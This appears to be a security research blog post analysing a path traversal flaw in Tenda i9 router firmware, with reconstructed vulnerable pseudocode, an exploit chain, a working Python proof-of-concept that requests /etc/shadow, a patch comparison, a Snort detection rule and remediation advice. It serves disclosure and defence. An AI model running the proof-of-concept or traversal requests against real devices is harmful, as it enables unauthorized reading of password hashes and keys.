home intel tenda-i9-path-traversal-r7websec-handler
CVE Analysis 2026-04-26 · 7 min read

CVE-2026-7036: Path Traversal in Tenda i9 R7WebsSecurityHandler

Tenda i9 1.0.0.5(2204) exposes an unauthenticated path traversal via R7WebsSecurityHandler in the HTTP stack. Remote attackers can read arbitrary files from the device filesystem.

#path-traversal#directory-traversal#http-handler#remote-exploitation#tenda-i9
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7036 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7036HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7036 is a path traversal vulnerability in the HTTP request handler of Tenda i9 firmware version 1.0.0.5(2204). The vulnerable function, R7WebsSecurityHandler, fails to canonicalize or sanitize the request URI before resolving it against the web root. An unauthenticated remote attacker can supply a crafted HTTP request containing ../ sequences to escape the intended document root and read arbitrary files from the underlying Linux filesystem — including /etc/passwd, /etc/shadow, private keys, and NVRAM configuration dumps.

CVSS 7.3 (HIGH) reflects network-accessible, no-authentication-required exploitation with high confidentiality impact. No in-the-wild exploitation has been confirmed at time of writing, but a public proof-of-concept exists.

Affected Component

The vulnerability lives inside the embedded HTTP server shipped with the Tenda i9 AP firmware. The binary responsible is typically httpd or an equivalent single-binary web daemon. The entry point for incoming HTTP requests is R7WebsSecurityHandler, which acts as a URI-level security gate — its intended role is to decide whether a requested path is permitted before passing control to the file-serving logic. Because this function is also responsible for path normalization, a failure here bypasses all downstream access controls.

  • Firmware: Tenda i9 1.0.0.5(2204)
  • Binary: /usr/sbin/httpd (MIPS32 LE, uClibc)
  • Function: R7WebsSecurityHandler
  • Transport: HTTP/1.1 over TCP/80 (LAN-accessible by default)

Root Cause Analysis

The function receives the raw request URI from the HTTP parser and checks it against an allowlist of permitted prefixes. However, it never calls a path canonicalization routine before performing those prefix checks. The sequence /../ is passed directly to the file-open path, allowing directory escape.


/*
 * R7WebsSecurityHandler — HTTP URI security gate
 * Reconstructed pseudocode from Tenda i9 1.0.0.5(2204) httpd binary
 */

typedef struct {
    /* +0x00 */ int      socket_fd;
    /* +0x04 */ char    *method;         // "GET", "POST", ...
    /* +0x08 */ char    *uri;            // raw, attacker-controlled URI string
    /* +0x0C */ char    *http_version;
    /* +0x10 */ char    *host_header;
    /* +0x14 */ char    *query_string;
    /* +0x18 */ int      content_length;
    /* +0x1C */ char     doc_root[64];   // e.g. "/webroot"
    /* +0x5C */ char     resolved[256];  // final path buffer
} http_request_t;

// Permitted URI prefixes — static allowlist
static const char *g_permitted_prefixes[] = {
    "/login.html",
    "/js/",
    "/css/",
    "/images/",
    "/goform/",
    NULL
};

int R7WebsSecurityHandler(http_request_t *req, int flags)
{
    char full_path[256];
    int  i;

    // BUG: no canonicalization of req->uri before prefix check —
    // "/../etc/passwd" does not match any prefix, but the check below
    // only looks for a literal prefix, not a normalized path prefix.
    // An attacker sends: GET /js/../../../../etc/passwd HTTP/1.1
    // This matches the "/js/" prefix check and passes the gate.

    for (i = 0; g_permitted_prefixes[i] != NULL; i++) {
        if (strncmp(req->uri, g_permitted_prefixes[i],
                    strlen(g_permitted_prefixes[i])) == 0) {
            goto allowed;   // prefix matched — skip auth check
        }
    }

    // URI didn't match any public prefix — require session cookie
    if (!R7WebsCheckSessionCookie(req)) {
        R7WebsSendRedirect(req, "/login.html");
        return -1;
    }

allowed:
    // BUG: snprintf builds the filesystem path directly from the
    // unsanitized URI without calling realpath() or equivalent.
    // "../" sequences are preserved and resolved by the kernel open().
    snprintf(full_path, sizeof(full_path), "%s%s",
             req->doc_root, req->uri);   // "/webroot" + "/js/../../../../etc/passwd"

    // BUG: no realpath() / canonical path check here before open()
    int fd = open(full_path, O_RDONLY);  // kernel resolves "../" — escapes doc_root
    if (fd < 0) {
        R7WebsSendError(req, 404);
        return -1;
    }

    R7WebsSendFile(req, fd);
    close(fd);
    return 0;
}
Root cause: R7WebsSecurityHandler checks the raw URI against a permitted-prefix allowlist before canonicalizing the path, allowing an attacker to embed ../ sequences after a valid prefix to escape the web root while still passing the security gate.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies Tenda i9 HTTP service on TCP/80 (default, no auth required).

2. Craft URI that starts with a whitelisted prefix ("/js/") followed by
   enough "../" traversal sequences to reach the filesystem root.
   Depth of /webroot is typically 1 level, so 2x "../" is sufficient,
   but 6+ are used for reliability across firmware variants.

3. Send raw HTTP request:
       GET /js/../../../../../../etc/shadow HTTP/1.1\r\n
       Host: 192.168.0.1\r\n
       Connection: close\r\n\r\n

4. R7WebsSecurityHandler evaluates strncmp(uri, "/js/", 4) == 0  → TRUE
   Security gate bypassed. No session cookie required.

5. snprintf constructs: "/webroot/js/../../../../../../etc/shadow"
   Kernel open() resolves this to: "/etc/shadow"

6. R7WebsSendFile() streams file contents back in HTTP 200 response body.

7. Attacker receives /etc/shadow (or any readable file: /etc/passwd,
   /proc/net/arp, NVRAM dumps at /dev/mtd*, SSL keys, etc.)

A minimal Python proof-of-concept demonstrating the read primitive:


#!/usr/bin/env python3
# CVE-2026-7036 — Tenda i9 path traversal PoC
# CypherByte Research

import socket
import sys

TARGET  = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
PORT    = 80
# "/js/" satisfies the whitelist prefix check
# 6x "../" reliably escapes /webroot regardless of nesting depth
PAYLOAD = "/js/../../../../../../etc/shadow"

def send_traversal(host, port, path):
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((host, port))
    s.sendall(req)

    resp = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        resp += chunk
    s.close()
    return resp

resp = send_traversal(TARGET, PORT, PAYLOAD)
# Strip HTTP headers
body = resp.split(b"\r\n\r\n", 1)[-1]
print(f"[+] Response ({len(body)} bytes):")
print(body.decode(errors="replace"))

Memory Layout

This is a logic/path-canonicalization vulnerability rather than a memory corruption bug, so there is no heap overflow. The relevant stack frame during exploitation is:


STACK FRAME: R7WebsSecurityHandler (MIPS32, grows downward)

  [ ra  (return address)         ]  +0x13C
  [ s-registers saved            ]  +0x120 .. +0x138
  [ http_request_t *req (arg)    ]  a0 register
  ────────────────────────────────────────────────────
  [ full_path[256] buffer        ]  sp+0x00 .. sp+0xFF
  ────────────────────────────────────────────────────

PATH CONSTRUCTION (snprintf output in full_path):

  BEFORE (legitimate request):
  full_path = "/webroot/js/app.js\0"
              └──────────────────── stays within /webroot ✓

  AFTER (traversal payload):
  full_path = "/webroot/js/../../../../../../etc/shadow\0"
              └── kernel resolves "../" chains ──────────► "/etc/shadow" ✗

  doc_root  = "/webroot"            (8 bytes + NUL)
  req->uri  = "/js/../../../../../../etc/shadow"   (34 bytes)
  total     = 42 bytes  ──  well within full_path[256], no overflow.
  The bug is logical, not spatial.

Patch Analysis

The correct fix requires canonicalizing the path before the prefix check, and then verifying the canonical path still falls within the document root. Both steps are necessary — canonicalization alone does not prevent escape if the doc-root check is absent.


// BEFORE (vulnerable):
int R7WebsSecurityHandler(http_request_t *req, int flags)
{
    char full_path[256];

    // Check raw URI against allowlist — "../" sequences not stripped
    for (i = 0; g_permitted_prefixes[i] != NULL; i++) {
        if (strncmp(req->uri, g_permitted_prefixes[i],
                    strlen(g_permitted_prefixes[i])) == 0) {
            goto allowed;
        }
    }
    // ... auth check ...
allowed:
    snprintf(full_path, sizeof(full_path), "%s%s",
             req->doc_root, req->uri);
    // BUG: no realpath() — kernel resolves ../  sequences
    int fd = open(full_path, O_RDONLY);
    ...
}

// AFTER (patched):
int R7WebsSecurityHandler(http_request_t *req, int flags)
{
    char full_path[256];
    char canonical[PATH_MAX];

    // Step 1: build the candidate path
    snprintf(full_path, sizeof(full_path), "%s%s",
             req->doc_root, req->uri);

    // Step 2: canonicalize — resolves all "../", symlinks, etc.
    if (realpath(full_path, canonical) == NULL) {
        R7WebsSendError(req, 404);
        return -1;
    }

    // Step 3: enforce doc_root confinement BEFORE prefix allowlist check
    size_t root_len = strlen(req->doc_root);
    if (strncmp(canonical, req->doc_root, root_len) != 0) {
        // Path escapes document root — reject unconditionally
        R7WebsSendError(req, 403);
        return -1;
    }

    // Now check the canonical URI suffix against the allowlist
    const char *rel_uri = canonical + root_len;  // relative to doc_root
    for (i = 0; g_permitted_prefixes[i] != NULL; i++) {
        if (strncmp(rel_uri, g_permitted_prefixes[i],
                    strlen(g_permitted_prefixes[i])) == 0) {
            goto allowed;
        }
    }

    if (!R7WebsCheckSessionCookie(req)) {
        R7WebsSendRedirect(req, "/login.html");
        return -1;
    }

allowed:
    int fd = open(canonical, O_RDONLY);   // open canonical path, not raw URI
    if (fd < 0) { R7WebsSendError(req, 404); return -1; }
    R7WebsSendFile(req, fd);
    close(fd);
    return 0;
}

Detection and Indicators

Detection is straightforward at the network layer. Any HTTP request to the device containing ../ or its URL-encoded equivalents (%2e%2e%2f, %2e%2e/, ..%2f) in the URI path targeting TCP/80 should be treated as a traversal attempt.


SNORT / SURICATA RULE:
alert http $EXTERNAL_NET any -> $HOME_NET 80 (
    msg:"CVE-2026-7036 Tenda i9 Path Traversal Attempt";
    flow:established,to_server;
    http.uri; content:"../"; fast_pattern;
    pcre:"/\/js\/([\.]{2}[\/\\]){2,}/U";
    classtype:web-application-attack;
    sid:20267036; rev:1;
)

HTTP ACCESS LOG INDICATORS (httpd access.log):
  192.168.1.50 - - [..] "GET /js/../../../../../../etc/shadow HTTP/1.1" 200 1234
  192.168.1.50 - - [..] "GET /css/../../../etc/passwd HTTP/1.1" 200 890
  192.168.1.50 - - [..] "GET /images/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 200 890

STRINGS OF INTEREST IN NETWORK CAPTURE:
  ../  %2e%2e/  %2e%2e%2f  ..%2f  ..%5c  %252e%252e (double-encoded)

On the device itself, unexpected outbound data from httpd to non-administrative hosts, or access log entries with HTTP 200 responses to traversal URIs, are definitive indicators of exploitation.

Remediation

  • Firmware update: Apply the latest Tenda i9 firmware from the vendor when a patched release is available. Monitor the Tenda security advisory page.
  • Network segmentation: Restrict TCP/80 access to the device's management interface to trusted VLAN segments only. This device is an AP — management access should never be reachable from untrusted wireless clients.
  • Disable HTTP, enforce HTTPS: If the firmware supports it, disable plain HTTP and require HTTPS with valid certificate validation to reduce attack surface.
  • WAF / IPS rule: Deploy the Snort rule above on any IPS/IDS positioned between clients and the management network.
  • Audit sensitive files: If the device has been internet-exposed or accessible to untrusted users, treat credentials in /etc/passwd, /etc/shadow, and any stored WPA keys as compromised and rotate immediately.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →